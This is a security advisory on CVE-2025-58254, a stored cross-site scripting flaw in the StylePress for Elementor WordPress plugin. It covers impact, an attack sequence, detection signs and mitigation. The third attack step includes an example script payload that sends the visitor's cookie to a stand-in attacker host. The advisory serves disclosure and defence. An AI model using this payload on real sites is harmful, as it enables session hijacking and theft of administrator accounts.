CVE-2025-58254: 
WordPress vulnerability analysis and mitigation

CVE-2025-58254 is a Stored Cross-Site Scripting (XSS) vulnerability in the StylePress for Elementor WordPress plugin (also known as full-site-builder-for-elementor) developed by dtbaker. It affects all versions up to and including 1.2.1, with no official patch available as of the disclosure date. The vulnerability was discovered by Muhammad Yudha - DJ, reported on August 6, 2025, and published on September 22, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the Stored XSS variant. An authenticated attacker with at least Contributor or Developer-level privileges can inject malicious scripts into content managed by the StylePress for Elementor plugin, which are then persistently stored and executed in victims' browsers when they visit affected pages. Exploitation requires low attack complexity but does require user interaction (a privileged user viewing the crafted content) and results in a changed scope, meaning the injected script can affect resources beyond the originating context (Patchstack, Red Hat CVE).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript within the WordPress site, which executes in the browsers of any visitor — including administrators — who view the affected content. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious external resources. The changed scope means the impact can extend beyond the plugin itself to the broader WordPress environment and its users (Patchstack).

No evidence of active in-the-wild exploitation has been reported as of the disclosure date, and the vulnerability is assessed as low priority by Patchstack with an EPSS score of approximately 0.033% (0.000330), indicating a low near-term exploitation probability. The vulnerability requires an authenticated attacker with at least Contributor-level access, which limits opportunistic exploitation but does not eliminate risk in multi-author WordPress environments. It is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale (Patchstack).

1. Reconnaissance: Identify WordPress sites running StylePress for Elementor plugin version 1.2.1 or earlier, using tools like WPScan or by checking the plugin version in publicly accessible readme files.
2. Obtain low-privilege access: Register or compromise an account with at least Contributor or Developer role on the target WordPress site.
3. Inject malicious payload: Using the StylePress for Elementor interface, insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field that is stored by the plugin.
4. Trigger execution: Wait for a privileged user (e.g., an administrator) to visit or preview the page containing the injected content, causing the malicious script to execute in their browser.
5. Achieve objective: Leverage the executed script to steal session cookies, perform actions on behalf of the administrator, or further compromise the site (Patchstack).

• Logs: WordPress access logs showing POST requests from low-privilege accounts to Elementor or StylePress plugin endpoints containing script tags or encoded JavaScript payloads.
• File System: Unexpected modifications to plugin-managed templates or style configurations containing <script> tags or JavaScript event handlers.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after visiting pages managed by the StylePress for Elementor plugin, potentially indicating cookie or credential exfiltration.
• Database: WordPress database entries in post meta or plugin option tables containing obfuscated or raw JavaScript payloads associated with StylePress for Elementor content.

As of the disclosure date (September 22, 2025), no official patched version of StylePress for Elementor is available. Site administrators should immediately consider deactivating and removing the plugin until a fix is released. As a compensating control, restrict Contributor and Developer role assignments to trusted users only, and implement a Web Application Firewall (WAF) with XSS filtering rules — Patchstack users receive virtual patching protection. Monitor the plugin's WordPress.org page and the vendor's repository for an updated release (Patchstack).

Patchstack, which coordinated the disclosure, classifies this as a low-priority issue with limited immediate exploitation risk, noting it was reported by independent researcher Muhammad Yudha - DJ. No significant vendor statement, notable researcher commentary, or broad media coverage has been identified beyond the Patchstack advisory (Patchstack).